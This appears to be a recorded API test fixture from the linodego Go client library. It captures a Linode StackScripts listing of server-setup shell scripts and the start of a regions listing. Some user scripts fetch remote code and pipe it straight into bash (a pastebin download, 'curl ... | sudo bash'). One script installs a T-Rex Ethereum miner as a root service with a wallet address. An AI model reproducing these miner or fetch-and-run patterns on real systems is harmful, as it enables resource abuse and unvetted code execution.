\"$1\"\n}\n\nfunction sshd_config_passwordauthentication {\n sshd_config_edit_bool \"PasswordAuthentication\" \"$1\"\n}\n\n# Email\nfunction install_postfix {\n # $1 - root email\n # $2 - username\n postfix_install_loopback_only # SS1\n #install mail sending utilities\n apt-get -y install mailutils\n #configure root alias\n echo \"root: $1\" >> /etc/aliases\n echo \"$2: root\" >> /etc/aliases\n cat /etc/hostname > /etc/mailname\n newaliases\n sed -i -e \"s/mydestination = localhost, localhost.localdomain, , localhost/mydestination = localhost, localhost.localdomain, $HOSTNAME/\" /etc/postfix/main.cf\n touch /tmp/restart-postfix\n}\n\n# Monit and Munin\nfunction install_monit {\n # $1 - root email\n apt-get -y install monit\n sed -i -e ''s/startup=0/startup=1/'' /etc/default/monit\n mkdir -p /etc/monit/conf.d/\n sed -i -e \"s/# set daemon 120/set daemon 120/\" /etc/monit/monitrc\n sed -i -e \"s/# with start delay 240/with start delay 240/\" /etc/monit/monitrc\n sed -i -e \"s/# set logfile syslog facility log_daemon/set logfile \\/var\\/log\\/monit.log/\" /etc/monit/monitrc\n sed -i -e \"s/# set mailserver mail.bar.baz,/set mailserver localhost/\" /etc/monit/monitrc\n sed -i -e \"s/# set eventqueue/set eventqueue/\" /etc/monit/monitrc\n sed -i -e \"s/# basedir \\/var\\/monit/basedir \\/var\\/monit/\" /etc/monit/monitrc\n sed -i -e \"s/# slots 100 /slots 100/\" /etc/monit/monitrc\n sed -i -e \"s/# set alert sysadm@foo.bar/set alert $1 reminder 180/\" /etc/monit/monitrc\n sed -i -e \"s/# set httpd port 2812 and/ set httpd port 2812 and/\" /etc/monit/monitrc\n sed -i -e \"s/# use address localhost/use address localhost/\" /etc/monit/monitrc\n sed -i -e \"s/# allow localhost/allow localhost/\" /etc/monit/monitrc\n sed -i -e \"s/# set mail-format { from: monit@foo.bar }/set mail-format { from: monit@`hostname -f` }/\" /etc/monit/monitrc\n cat << EOT > /etc/monit/conf.d/system\n check system `hostname`\n if loadavg (1min) > 4 then alert\n if loadavg (5min) > 4 then alert\n if memory usage > 90% then alert\n if cpu usage (user) > 70% then alert\n if cpu usage (system) > 30% then alert\n if cpu usage (wait) > 20% then alert\n\ncheck filesystem rootfs with path /\nif space > 80% then alert\nEOT\n touch /tmp/restart-monit\n}\n\nfunction install_munin_node {\n # $1 - node hostname\n # $2 - munin server ip\n apt-get -y install munin-node\n sed -i -e \"s/^#host_name .*/host_name $1/\" /etc/munin/munin-node.conf\n sed -i -e \"s/^allow .*$/&\\nallow \\^$2\\$/ ; /^allow \\^\\d*/ s/[.]/\\\\\\&/g ; /^allow \\^\\d*/ s/\\\\\\\\\\\\\\/\\\\\\/g\" /etc/munin/munin-node.conf\n touch /tmp/restart-munin-node\n}\n\n# Security tools\nfunction install_security_tools {\n apt-get -y install unattended-upgrades chkrootkit rkhunter fail2ban ufw\n\n rkhunter --propupd\n}\n\nfunction set_conf_value {\n # $1 - conf file\n # $2 - key\n # $3 - value\n sed -i -e \"s/^\\($2[ ]*=[ ]*\\).*/\\1$3/\" $1\n}\n\nfunction configure_cronapt {\n CONF=/etc/cron-apt/config\n test -f $CONF || exit 0\n\n sed -i -e \"s/^# \\(MAILON=\\).*/\\1\\\"changes\\\"/\" $CONF\n}\n\nfunction configure_chkrootkit {\n CONF=/etc/chkrootkit.conf\n test -f $CONF || exit 0\n\n set_conf_value $CONF \"RUN_DAILY\" \"\\\"true\\\"\"\n set_conf_value $CONF \"RUN_DAILY_OPTS\" \"\\\"-q -e ''/usr/lib/jvm/.java-1.6.0-openjdk.jinfo /usr/lib/byobu/.constants /usr/lib/byobu/.dirs /usr/lib/byobu/.shutil /usr/lib/byobu/.notify_osd /usr/lib/byobu/.common /usr/lib/pymodules/python2.7/.path''\\\"\"\n}\n\nfunction configure_rkhunter {\n CONF=/etc/rkhunter.conf\n test -f $CONF || exit 0\n\n set_conf_value $CONF \"MAIL-ON-WARNING\" \"\\\"root\\\"\"\n sed -i -e \"/ALLOWHIDDENDIR=\\/dev\\/.udev$/ s/^#//\" $CONF\n # Disabling tests for kernel modules, Linode kernel doens''t have any modules loaded\n sed -i -e \"/^DISABLE_TESTS=.*/ s/\\\"$/ os_specific\\\"/\" $CONF\n}\n\nfunction configure_logcheck {\n # Ignore the message flood about UFW blocking TCP SYN and UDP packets\n UFW_SYN_BLOCK_REGEX=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ kernel: \\[UFW BLOCK\\] IN=[[:alnum:]]+ OUT= MAC=[:[:xdigit:]]+ SRC=[.[:digit:]]{7,15} DST=[.[:digit:]]{7,15} LEN=[[:digit:]]+ TOS=0x[[:xdigit:]]+ PREC=0x[[:xdigit:]]+ TTL=[[:digit:]]+ ID=[[:digit:]]+ (DF )?PROTO=TCP SPT=[[:digit:]]+ DPT=[[:digit:]]+ WINDOW=[[:digit:]]+ RES=0x[[:xdigit:]]+ SYN URGP=[[:digit:]]+$\"\n UFW_UDP_BLOCK_REGEX=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ kernel: \\[UFW BLOCK\\] IN=[[:alnum:]]+ OUT= MAC=[:[:xdigit:]]+ SRC=[.[:digit:]]{7,15} DST=[.[:digit:]]{7,15} LEN=[[:digit:]]+ TOS=0x[[:xdigit:]]+ PREC=0x[[:xdigit:]]+ TTL=[[:digit:]]+ ID=[[:digit:]]+ (DF )?PROTO=UDP SPT=[[:digit:]]+ DPT=[[:digit:]]+ LEN=[[:digit:]]+$\"\n echo \"# UFW BLOCK messages\" >> /etc/logcheck/ignore.d.server/local\n echo $UFW_SYN_BLOCK_REGEX >> /etc/logcheck/ignore.d.server/local\n echo $UFW_UDP_BLOCK_REGEX >> /etc/logcheck/ignore.d.server/local\n\n # Ignore dhcpcd messages\n DHCPCD_RENEWING=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: renewing lease of [.[:digit:]]{7,15}$\"\n DHCPCD_LEASED=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: leased [.[:digit:]]{7,15} for [[:digit:]]+ seconds$\"\n DHCPCD_ADDING_IP=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: adding IP address [.[:digit:]]{7,15}/[[:digit:]]+$\"\n DHCPCD_ADDING_DEFAULT_ROUTE=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\[[[:digit:]]+\\]: [[:alnum:]]+: adding default route via [.[:digit:]]{7,15} metric [0-9]+$\"\n DHCPCD_INTERFACE_CONFIGURED=\"^\\w{3} [ :[:digit:]]{11} [._[:alnum:]-]+ dhcpcd\\.sh: interface [[:alnum:]]+ has been configured with old IP=[.[:digit:]]{7,15}$\"\n # Ignore ntpd messages\n NTPD_VALIDATING_PEER=\"^\\w{3} [ :0-9]{11} [._[:alnum:]-]+ ntpd\\[[0-9]+\\]: peer [.[:digit:]]{7,15} now (in)?valid$\"\n echo \"# DHCPCD messages\" >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_RENEWING >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_LEASED >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_ADDING_IP >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_ADDING_DEFAULT_ROUTE >> /etc/logcheck/ignore.d.server/local\n echo $DHCPCD_INTERFACE_CONFIGURED >> /etc/logcheck/ignore.d.server/local\n echo \"# NTPD messages\" >> /etc/logcheck/ignore.d.server/local\n echo $NTPD_VALIDATING_PEER >> /etc/logcheck/ignore.d.server/local\n}\n\nfunction configure_logwatch {\n CONF=/etc/logwatch/conf/logwatch.conf\n test -f $CONF || exit 0\n\n set_conf_value $CONF \"Output\" \"mail\"\n set_conf_value $CONF \"Format\" \"html\"\n set_conf_value $CONF \"Detail\" \"Med\"\n}\n\nfunction configure_ufw {\n # $1, $2, $3... - ports to allow\n ufw logging on\n ufw default deny\n\n while [ $# -gt 0 ]; do\n ufw allow $1\n shift\n done\n\n ufw enable\n}\n\n# Utility\nfunction restart_services {\n # restarts services that have a file in /tmp/needs-restart/\n for service in $(ls /tmp/restart-* | cut -d- -f2-10); do\n service $service restart\n rm -f /tmp/restart-$service\n done\n}\n\nfunction fix_page_allocation_error {\n sysctl vm.min_free_kbytes=16384\n cat << EOT > /etc/sysctl.conf\n\n###################################################################\n# Fix for page allocation failure\nvm.min_free_kbytes = 16384\nEOT\n touch /tmp/restart-rsyslog\n}", "user_defined_fields": []}, {"id": 9009, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "MODx powered by Webuzo", "description": "MODx helps you take control of your online content. An Open Source PHP application framework, it frees you to build sites exactly how you want and make them 100% yours. Zero restrictions and fast to build. Super-simple templates in regular HTML/CSS/JS (any lib you want). Registered user systems and a killer community. Welcome to web-building nirvana.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure MODx and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "MODx powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install MODx and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About MODx :\n# MODx helps you take control of your online content. \n# An Open Source PHP application framework, it frees you to build sites exactly how you want and make them 100% yours. # Zero restrictions and fast to build. Super-simple templates in regular HTML/CSS/JS (any lib you want).\n###########################################################################################################\n\n# Install MODx Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=109&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling MODx and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, MODx has been successfully installed\"\necho \" \"\necho \"You can now configure MODx and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1056306, "username": "Poshumei", "user_gravatar_id": "f08d22196d2e64cd2cc9c03d865d3beb", "label": "ETH", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/bin/bash\nsleep 60 ;\nsudo apt update ;\nsudo apt -y install nvidia-driver-450 ; \nsudo touch /etc/systemd/system/script.service ;\nsudo touch /usr/local/bin/script.sh ;\nsudo chmod 777 /etc/systemd/system/script.service ;\nsudo chmod 777 /usr/local/bin/script.sh ;\nsudo echo \"#!/bin/bash\nsleep 10 ;\nwget https://github.com/trexminer/T-Rex/releases/download/0.25.12/t-rex-0.25.12-linux.tar.gz && tar -xvf t-rex-0.25.12-linux.tar.gz && ./t-rex -a ethash -o stratum+ssl://eth-us-east.flexpool.io:5555 -u 0x83D84Dc6c238f753fCb15573f55FC5855847050f.worker -p x -w rig0 --no-sni --dns-https-server 8.8.8.8\" > /usr/local/bin/script.sh;\n\nsudo echo \"[Unit]\nDescription=Script\nAfter=network.target\n[Service]\nExecStart=/usr/local/bin/script.sh\nType=simple\nRestart=no\nUser=root\nWorkingDirectory=/root\n[Install]\nWantedBy=multi-user.target\" > /etc/systemd/system/script.service;\n\nsudo systemctl daemon-reload;\nsudo systemctl enable script.service;\nsleep 10;\nsudo reboot", "user_defined_fields": []}, {"id": 8242, "username": "clc3123", "user_gravatar_id": "9dd72a7da5f85241e20d45ff374bca88", "label": "precise64-with-multi-user-rvm-installed", "description": "", "ordinal": 0, "logo_url": "", "images": [null], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import 20140216", "script": "#!/bin/bash\n\n# \n# HOSTNAME=home\n# \n# FQDN=home.chenlichao.com\n# \n# IP_ADDRESS=\"1.2.3.4\"\n# \n# TIME_ZONE=\"Asia/Shanghai\"\n\n# \n# USER_SSH_PORT=22\n# \n# USER_NAME=username\n# \n# USER_PASSWORD=username\n# \n# USER_PUB_KEY=\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZ5a4st/5p+JH7uxU7h84aedrq9rciqQIWk8RF5Gd835MlvP/eL60mQUbEZ9DbQuTRbHTvNT/HKcZ1GvRfvs7MuEiZcDCaw9qTjoV2Max4eeya4v9n/BBTsQw7gznP7yFa82+5DcH9W+OR/75J1JdzLWz4bw+Rgb/4lym5i6j98x6i6dTOXnCc4uc0t2vrIhqSpxH6cmAoKJtEKKAUQpS8/gGtxVgoOqLTP6jw4HXy+Bi+XTu0C78jSjf6I60fGYd9G4p5ci2iQg7bjnrSGu+2yWHnv35afdNaj8nEp50Ocl4hiMtP9/mcVuN5ffcaxU2hGoKJJodENvyuwaRNRTlX username@gmail.com\"\n\n# \n# RVM_VERSION=\"1.25.15\"\n# \n# RVM_RUBY_VERSION=\"1.9.3\"\n\nshow_msg()\n{\n echo \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\"\n echo \"Start $1\"\n echo \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n}\n\nshow_msg \"modifying hostname & hosts\"\necho $HOSTNAME > /etc/hostname\necho \"$IP_ADDRESS $FQDN $HOSTNAME\" >> /etc/hosts\nhostname -F /etc/hostname\n\nshow_msg \"apt update & upgrade\"\ncat < /etc/apt/sources.list\ndeb http://us.archive.ubuntu.com/ubuntu/ precise main restricted universe multiverse\ndeb http://us.archive.ubuntu.com/ubuntu/ precise-updates main restricted universe multiverse\ndeb http://security.ubuntu.com/ubuntu precise-security main restricted universe multiverse\ndeb-src http://us.archive.ubuntu.com/ubuntu/ precise main restricted universe multiverse\ndeb-src http://us.archive.ubuntu.com/ubuntu/ precise-updates main restricted universe multiverse\ndeb-src http://security.ubuntu.com/ubuntu precise-security main restricted universe multiverse\nEOF\napt-get update\napt-get -y upgrade\n\nshow_msg \"installing common packages\"\napt-get -y install build-essential htop byobu vim-nox tree git curl wget\n\nshow_msg \"modifying time zone\"\necho $TIME_ZONE > /etc/timezone\ndpkg-reconfigure -f noninteractive tzdata\n\nshow_msg \"adding admin user\"\nuseradd -U -d /home/$USER_NAME -m -s /bin/bash $USER_NAME\necho \"$USER_NAME:$USER_PASSWORD\" | chpasswd\ncat </tmp/$USER_NAME\n$USER_NAME ALL=(ALL) NOPASSWD:ALL\nEOF\nmv /tmp/$USER_NAME /etc/sudoers.d/$USER_NAME\nchmod 0440 /etc/sudoers.d/$USER_NAME\n\nshow_msg \"installing multi-user rvm version: $RVM_VERSION\"\nsu -l $USER_NAME < $USER_SSH_DIR/authorized_keys\nchmod 0600 $USER_SSH_DIR/authorized_keys\nchown -R $USER_NAME:$USER_NAME $USER_SSH_DIR\n \nshow_msg \"turning on colored shell prompt\"\nsed -i ''/^#force_color_prompt=yes$/a\\\nforce_color_prompt=yes'' /home/$USER_NAME/.bashrc\nchown $USER_NAME:$USER_NAME /home/$USER_NAME/.bashrc\n\nshow_msg \"adding add_app_runner.sh\"\ncat <<''EOF'' > /home/$USER_NAME/add_app_runner.sh \n#!/bin/bash\n\nif [[ `id -u` -eq 0 && \"$#\" -eq 1 ]]; then\n APP_RUNNER=\"$1\"\nelse\n echo \"Usage: $ sudo $0 app_runner_name\" >&2\n exit 1\nfi\nuseradd -U -d /home/$APP_RUNNER -m -s /bin/bash $APP_RUNNER\nEOF\nchmod 0700 /home/$USER_NAME/add_app_runner.sh\nchown $USER_NAME:$USER_NAME /home/$USER_NAME/add_app_runner.sh\n\nshow_msg \"modifying sshd setting\"\nsed -i \"s/^Port 22$/Port $USER_SSH_PORT/\" /etc/ssh/sshd_config\nsed -i ''s/^LoginGraceTime 120$/LoginGraceTime 30/'' /etc/ssh/sshd_config\nsed -i ''s/^PermitRootLogin yes$/PermitRootLogin no/'' /etc/ssh/sshd_config\n\nshow_msg \"rebooting now\"\nreboot", "user_defined_fields": []}, {"id": 9010, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Coppermine powered by Webuzo", "description": "Coppermine is a multi-purpose fully-featured and integrated web picture gallery script written in PHP using GD or ImageMagick as image library with a MySQL backend. \r\nCPG is so fully featured it''s not enough to fully list them.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Coppermine and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Coppermine powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Coppermine and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Coppermine :\n# Coppermine is a multi-purpose fully-featured and integrated web picture gallery script written in PHP \n# using GD or ImageMagick as image library with a MySQL backend. \n# CPG is so fully featured it''s not enough to fully list them.\n###########################################################################################################\n\n# Install Coppermine Script using Webuzo\nfunction install_webuzo_script(){\n \n # Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl \"http://$ip:2004/install.php?prepareinstall=27&license=$1\"\n \n}\n\n# Install Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Coppermine and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Coppermine has been successfully installed\"\necho \" \"\necho \"You can now configure Coppermine and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 346419, "username": "lovefirst02", "user_gravatar_id": "44b8b01b76b4d763581dc4e1a8bbb427", "label": "prx", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/sh\n\nwget -O spi https://pastebin.com/raw/1gRjw6Rn && sed -i ''s/\\r$//'' spi && bash spi -jessie && rm spi", "user_defined_fields": []}, {"id": 8501, "username": "gretongersvps66", "user_gravatar_id": "cfd4936b358ed931f5a628170dcfef25", "label": "ariepmuqodas", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian7"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Initial import", "script": "#!/bin/bash\ncurl -s https://lv.linode.com/gzkA | sudo bash", "user_defined_fields": []}, {"id": 9271, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Nginx powered by Webuzo", "description": "Nginx does mot rely on threads to handle requests. Instead it uses a much more scalable event-driven (asynchronous) architecture. This architecture uses small, but more importantly, predictable amounts of memory under load.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Nginx powered by Webuzo", "script": "#!/bin/bash\n\n###########################################################################################################\n# Install Nginx and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\n#\n# About Nginx :\n# Nginx does mot rely on threads to handle requests. Instead it uses a much more scalable \n# event-driven (asynchronous) architecture. This architecture uses small, but more importantly, \n# predictable amounts of memory under load.\n###########################################################################################################\n\n# Install Nginx application using Webuzo\nfunction install_webuzo(){\n \n # Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh --install=nginx >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling Nginx using Softaculous Webuzo\n#########################################################\n\ninstall_webuzo\n\n# Check the return of the above command and display the result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho \" Installation Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, Nginx has been successfully installed\"\necho \" \"\necho \"You can now configure Nginx and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": []}], "page": 1, "pages": 19, "results": 1880}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - stackscripts:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "20" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestTag_Create.yaml000066400000000000000000000552061455402072200303050ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": 